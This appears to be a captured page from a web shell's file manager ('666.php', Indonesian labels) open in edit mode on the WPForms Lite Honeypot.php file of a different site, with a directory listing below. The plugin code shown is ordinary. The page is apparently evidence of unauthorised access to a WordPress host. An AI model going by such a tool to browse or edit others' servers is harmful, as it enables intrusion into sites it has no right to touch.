??????????????
??????????????
??????????????
??????????????
Warning : Undefined variable $auth in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
Warning : Trying to access array offset on value of type null in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
??????????????
??????????????
??????????????
??????????????
File Manager
✏️ Edit File: /home/mklsvubc/mayshine.co.uk/wp-content/plugins/wpforms-lite/src/Forms/Honeypot.php
⬅ Kembali
<?php
namespace WPForms\Forms;
/**
* Class Honeypot.
*
* @since 1.6.2
*/
class Honeypot {
/**
* Initialise the actions for the Honeypot.
*
* @since 1.6.2
*/
public function init() {
$this->hooks();
}
/**
* Register hooks.
*
* @since 1.6.2
*/
public function hooks() {
add_action( 'wpforms_frontend_output', [ $this, 'render' ], 15, 5 );
}
/**
* Return function to render the honeypot.
*
* @since 1.6.2
*
* @param array $form_data Form data and settings.
*/
public function render( $form_data ) {
if (
empty( $form_data['settings']['honeypot'] ) ||
'1' !== $form_data['settings']['honeypot']
) {
return;
}
$names = [ 'Name', 'Phone', 'Comment', 'Message', 'Email', 'Website' ];
echo '<div class="wpforms-field wpforms-field-hp">';
echo '<label for="wpforms-' . $form_data['id'] . '-field-hp" class="wpforms-field-label">' . $names[ array_rand( $names ) ] . '</label>'; // phpcs:ignore
echo '<input type="text" name="wpforms[hp]" id="wpforms-' . $form_data['id'] . '-field-hp" class="wpforms-field-medium">'; // phpcs:ignore
echo '</div>';
}
/**
* Validate honeypot.
*
* @since 1.6.2
*
* @param array $form_data Form data.
* @param array $fields Fields.
* @param array $entry Form entry.
*
* @return bool|string False or an string with the error.
*/
public function validate( array $form_data, array $fields, array $entry ) {
$honeypot = false;
if (
! empty( $form_data['settings']['honeypot'] ) &&
'1' === $form_data['settings']['honeypot'] &&
! empty( $entry['hp'] )
) {
$honeypot = esc_html__( 'WPForms honeypot field triggered.', 'wpforms-lite' );
}
return apply_filters( 'wpforms_process_honeypot', $honeypot, $fields, $entry, $form_data );
}
}
Nama
Tipe
Ukuran
Diubah
Aksi
📁 Fields
dir
—
2026-06-23 08:04
📄 .htaccess
htaccess
237 B
2026-06-23 08:04
🐘 Akismet.php
php
9.3 KB
2025-07-31 14:13
🐘 AntiSpam.php
php
9.7 KB
2025-07-31 14:13
🐘 Honeypot.php
php
1.7 KB
2025-06-05 16:54
🐘 IconChoices.php
php
15.3 KB
2026-02-24 17:16
🐘 Locator.php
php
32.5 KB
2025-12-11 20:10
🐘 Preview.php
php
10.3 KB
2025-04-24 14:53
🐘 Submission.php
php
6.9 KB
2023-06-07 17:54
🐘 Token.php
php
10.5 KB
2025-07-31 14:13